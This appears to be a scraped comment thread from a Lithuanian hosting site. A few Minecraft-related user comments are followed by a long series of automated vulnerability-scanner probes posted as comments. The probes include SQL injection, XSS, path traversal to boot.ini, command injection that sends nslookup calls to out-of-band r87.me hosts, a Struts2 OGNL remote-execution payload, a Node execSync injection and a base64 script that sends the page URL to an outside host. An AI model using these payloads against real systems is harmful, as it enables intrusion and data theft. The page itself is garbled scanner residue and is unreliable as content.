justHOST.lt

laukiau mc 1.9.1 :D

per kur gaut pluginus ?

ble man reikia kreditu neturiu blet

1 OR 1=1

')) WAITFOR DELAY '0:0:25'--

${28275*28275-(13)}

<iMg src=N onerror=netsparker(0x005B6A)>

1'))exec('xp_dirtree ''\\xpljgilaxexk7xwtwmxnsonrazpwyn34c55p8-n0'+'_wu.r87.me'+'\c$\a''')--

1/../../../../../../../../../../boot.ini

<scRipt>ns(0x005CA2)</scRipt>

www.justhost.lt/trace.axd

nslookup xpljgilaxeqr70wclym6osw0lohb8_aiydwgondlywa.r87.me&'\"`0&nslookup xpljgilaxeqr70wclym6osw0lohb8_aiydwgondlywa.r87.me&`'

file:/boot.ini

<%a style=x:expre/**/ssion(netsparker(0x005E3B))>

45.123.190.2/trace.axd

& nslookup xpljgilaxeeiv5pd3iipxywx4qhnzhjdpmphtldrja4.r87.me&'\"`0&nslookup xpljgilaxeeiv5pd3iipxywx4qhnzhjdpmphtldrja4.r87.me&`'

c:\boot.ini

n;ns:expression(netsparker(0x005FD7));

<iMg src="//xpljgilaxebaw8vxum6w-v7eylf8z976mcm3zlupcfu&#46;r87&#46;me"/>

127.100.11.2/trace.axd

& nslookup xpljgilaxemwemfefqpvtelugj9jlluvuctcl-s1rx8.r87.me&'\"`0&nslookup xpljgilaxemwemfefqpvtelugj9jlluvuctcl-s1rx8.r87.me&`'

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

body{x:expression(netsparker(0x0062A6))}

::1/trace.axd

'& nslookup xpljgilaxebqgcbidrq8mv4j84kzy1pdc2esxjlhxry.r87.me&'\"`0&nslookup xpljgilaxebqgcbidrq8mv4j84kzy1pdc2esxjlhxry.r87.me&`'

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

<fRame src="//xpljgilaxeqxkhhrjw4lmqtqfycar7kvmfnwr6snfaw&#46;r87&#46;me"></fRame>

127.0.0.1/trace.axd

file%3a%2fboot.ini

eval('print localtime()*0+0xFFF9999-22')

'+netsparker(0x00664E)+'

<scRipt src="data:;base64,bD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJsaW5rIik7bC5yZWw9InByZWZldGNoIjtsLmhyZWY9Ii8veHBsamdpbGF4ZWpsdnN5MzhzZHhodmlqczgyeGhsem9rc2g1NGR3eCIrIjVhbS5yODcubWUvci8/Iitsb2NhdGlvbi5ocmVmO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQobCk="></scRipt>

http://www.justhost.lt/elmah.axd

'+print localtime()*0+0xFFF9999-22+'

"+netsparker(0x006858)+"

www.justhost.lt/elmah.axd

"+print localtime()*0+0xFFF9999-22+"

\';netsparker(0x006B83);///

45.123.190.2/elmah.axd

nslookup "xpljgilaxeir8tgpdaub9nmxasekruxrfrva1xti""kx8.r87.me"

arguments[1].end(require('child_process').execSync('expr 268409241 - 22'))

&#39;,netsparker(0x006DB1),&#39;

127.100.11.2/elmah.axd

nslookup "xpljgilaxeexwj0ecxujo-klcca89iwbfrftejam""j7c.r87.me"

netsparker(0x0070D6)

::1/elmah.axd

&nslookup "xpljgilaxejvuqtmm8udvcrrqrppnjit83-weeid""t08.r87.me"

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-22)}

netsparker(0x0074C9);

127.0.0.1/elmah.axd

&#39;+netsparker(0x007595)+&#39;

http://www.justhost.lt/elmah

'&nslookup "xpljgilaxehektxz61e3jhkjh7pt2yncg5otf1vy""k6a.r87.me"

'"@--></style></scRipt><scRipt>netsparker(0x007597)</scRipt>

www.justhost.lt/elmah

'&nslookup "xpljgilaxekd8ixjd_qh1cmnro7fif_fv3hdyeqc""ipm.r87.me"

//r87.com/?0x0075BF

45.123.190.2/elmah

"&nslookup "xpljgilaxe5pzfguq_qzyvtepwelyupwe09oxsj4""ik4.r87.me"

127.100.11.2/elmah

"&nslookup "xpljgilaxebnpgpjdnfdzm0sjshkqevfjjms6ngl""dhe.r87.me"

::1/elmah

/../../../../../../../../../../proc/self/fd/2

127.0.0.1/elmah